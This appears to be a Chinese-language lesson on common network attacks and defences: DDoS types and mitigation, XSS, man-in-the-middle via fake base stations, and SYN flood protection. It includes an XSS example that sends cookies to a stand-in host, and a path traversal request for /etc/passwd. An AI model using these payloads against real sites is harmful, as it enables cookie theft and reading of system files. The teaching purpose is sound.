安全无小事。2016 年 DNS 提供商 Dyn 遭遇了一次大规模的 DDoS(分布式拒绝服务攻击),有 14000 个网站域名受到影响。2020 年 7 月份,Twitter 遭大规模攻击,黑客控制了包括马斯克、盖茨、奥巴马等人的 Twitter 账号,诱导用户购买比特币,最终骗取了 11W 美金。2021 年 4 月份,还有黑客利用 Github 的 Actions(Github 的一种 CI/CD 方案),诱导用户进行 git 操作时触发恶意比特币的矿机。

特别是在中国这种人口基数大,互联网发达的国家,如果一个互联网公司的安全出了故障,那么影响将是巨大的。前几年,我们国家出现过一起影响较大的安全问题——某知名技术社区用户的用户名和密码被大规模泄露。前车之鉴、后车之覆,我们要吸取教训。因此,这一讲我们就以“如何抵御 SYN 拒绝攻击”为引,开启今天的学习,让你对网络安全的常见攻防手段有一个初步了解。

拒绝服务攻击(DoS)

拒绝服务攻击(Denial-of-Service Attack,DoS)是一种常见的攻击手段。虽然目前互联网越来越趋向于正规化,但是对于黑产还有利用 DoS 攻击黑吃黑的现象。比较常见的就是热血传奇这款游戏的私服,搭建一个私服可以获得大额非法收入,但是因为是黑产也会经常受到黑客的攻击。黑客攻击后,再发邮件到管理员邮箱索取金钱,威胁用户不尽快打款就会一直攻击。

在过去,黑产间的攻阀,DoS 就可以作为一种常见武器。DoS 的原理就是利用大量的流量迅速向一个网站发送出去。这种流量可能是应用层的,比如大量 HTTP 请求;也可以是传输层,比如大量的 TCP 请求。比如 2018 年 2 月 18 日,Github 就遭受了一场超大规模的 DoS 攻击,瞬间流量峰值达到了 1.35Tbps。之后,黑客还对 Google、亚马逊等网站也进行了攻击。

为了形成足够强大的流量,攻击者往往没有足够的经济实力购买机器,而是利用中病毒、木马的机器组织流量攻击。这些中病毒的机器,我们俗称“肉鸡”。顶级的黑客往往控制着大量的肉鸡,一声令下,肉鸡就开始疯狂向目标发送网络封包,直到打垮目标。因为肉鸡是分散在世界各地的,因此这种攻击我们也称为分布式拒绝服务攻击(Distributed Denial-of-Service Attack, DDoS)。

DDoS 的种类

DDoS 的种类有很多,手段也很复杂。

  • 直接不停发送 Ping 消息的,利用底层的 ICMP 协议,称为ICMP 攻击;
  • 走 UPD 协议的,称为UDP 洪水(UDP Flood);
  • 不停利用 TCP 协议发送 SYN 消息的,也叫SYN 攻击;
  • 模拟用户行为,不停发帖、浏览帖子、浏览网页、加购物车等,称为挑战黑洞攻击(Challenge Collapsar)。

防范措施

当遇到 DDoS 攻击的时候,如果有所准备,就可以做到有备无患。比如说购买了防火墙,防火墙会根据特征识别出攻击行为,通过这样的方式将攻击行为过滤掉,让系统不会因为 DDoS 而过载造成崩溃。

当然如果是纯粹的流量攻击,仅仅靠防火墙是不够的。通常一些大型互联网公司会进行多活建设。一般是两地三机房,分别是日常生产环境、同城灾备环境和异地灾备环境,遇到 DDoS 可以考虑切换流量,也能起到一定作用。

另外 CDN 在解决 DDoS 时往往也有很好的效果,毕竟 CDN 是大量缓存节点,DDoS 攻击 CDN 的时候用不上力。当然,如果资金不足以购买服务器的小团队,可以自己实现软件防火墙。其实就是设计一台吞吐量极高的代理服务器,作为反向代理挡在所有服务前面,如果遇到 DDoS,代理服务器可以识别出一些特征并丢弃一些流量。

在遇到攻击的时候,对服务适当降级也是有必要的,甚至可以牺牲一部分用户保全另一部分用户的正常使用。防火墙是基于特征识别,本身也会有一定的误杀现象,在被攻击的时候,可以人为降低判定攻击行为的门槛。通过允许防火墙造成一部分的误伤来识别出更多的攻击流量。

跨站脚本攻击(XSS)

跨站脚本(Cross Site Scripting),顾名思义,就是利用漏洞将脚本注入网页中。比如提交个人信息的输入框,如果在服务端没有处理好就有可能触发跨站脚本。

假设有一个输入个人签名的多行文本输入框,正常用户会输入几句有趣的话,但是黑客可能会尝试输入:

1
<script>document.createElement('img').src="https://some.site.com?cookie=document.cookie"</script>

如果这段话被显示到用户的个人主页,那么访问这个用户空间的其他用户就会被攻击,进而被黑客拿走 Cookie 中的关键信息。

XSS 攻击模式很简单,就是想办法向网站的页面上注入脚本。总的来说,输入框是一个重灾区。目前随着前端技术的发展,使用前端框架,比如 React 或 Vue 开发的页面已经杜绝了被 XSS 的可能。但是有时候如果工作出现某些疏漏,还是会导致 XSS 的发生。所以正确的做法是上线前拜托安全部门的同学协助进行一些针对 XSS 漏洞的扫描。

中间人攻击

接下来我们聊聊中间人攻击

我们国家目前在打击网络电信诈骗案中,就有这样一种形式。一些不法分子利用伪基站,比如找一个人多的地方,用自己的伪基站设备伪装成基站,向用户提供网络。一些离不法分子较近的人,手机可能会连接上伪基站。连接上后,不法分子的伪基站就成了你上网的代理,可以进行很多非法操作。因此,从这个角度看,中间人黑进你附近的网络,成为你上网的“代理”,并不是非常难的一件事情。不懂技术的犯罪分子,通过购买伪基站设备,就可以充当中间人。

在遇到中间人攻击时,互联网的信用体系、操作系统、浏览器等就会帮你把好最后一关。比如你访问淘宝购物,中间人向你投放假网页。浏览器就会去验证这个假网页的证书,是不是淘宝的证书。去年 Github 在国内疑似被中间人攻击的案例中,国内很多用户看到的现象是浏览器提示用户浏览的网站不安全。这种情况就是浏览器在校对证书的时候发现了疑点。如果你上网遇到这种情况应该选择立即关闭这个网页,不进行后续的操作,防止被骗。

小结

生活在当今时代,作为个人,网络安全是一件大事。你的购票信息、出行记录、账号密码、位置信息等,都需要你有防范意识,防止被不法分子拿走。在为公司工作的时候,要保管好自己的账号。特别是你工作用的计算机,要远离非正规渠道获得的软件。你的工作计算机一旦中了木马,成了肉鸡,那不法分子完全可以用你的工作计算机作为跳板,登录公司服务器。

另一方面,作为公司和团队,也要有较强的安全意识。当然,安全领域有自己的专业知识和人才。在互联网产品初期,往往承担不起昂贵的防火墙和雇佣安全专家的费用,这个时候需要开发者主动去学习安全知识,尽可能提升被攻破的成本。当业务发展到一定程度后,就需要马上雇佣安全专家,以及购买包括防火墙在内的网络安全设备。

现在可以尝试来回答:如何抵御 SYN 拒绝攻击?

SYN 攻击是 DDoS 攻击的一种形式。这种形式攻击者伪装成终端不停地向服务器发起 SYN 请求。通常攻击者的肉鸡,发送了 SYN 之后,不等给服务端 ACK,就下线了。 这样攻击者不断发送 SYN ,然后下线,而服务端会等待一段时间(通常会在 3s 以上),等待 ACK。这样就导致了大量的连接对象在服务端被积累。

针对这个特点可以实现一个 TCP 代理(防火墙),发现有发送 SYN 但是不给 ACK 的行为就对目标 IP 地址禁用一段时间。这个策略平时可以配置成开关,等到被攻击的时候打开。另一方面,可以适当提升连接数支持。

思考题

哪些情况下你服务器的 /etc/passwd 文件会被黑客拿走?

比较常见的情形就是开发机器信息泄漏或者中毒成了肉鸡。很多同学的开发机器上都配置了到服务器跳板机的免密登录权限。如果开发机器上公钥泄漏,黑客就有可能登入跳板机。如果成了肉鸡,那么很多行为都可以远程操控,相当于黑客攻破了你公司的内网。

还有一种常见的情形和代码注入有些相似之处,比如说有一个获取配置文件的服务,用参数表示配置文件的名称,比如 /getfile/a.txt 代表取出代码路径某个相对目录的 a.txt。这个时候如果网站程序实现直接将参数作为文件路径的一部分,黑客可能会尝试使用 /getfile/../../../etc/passwd 去获取 /etc/passwd 文件。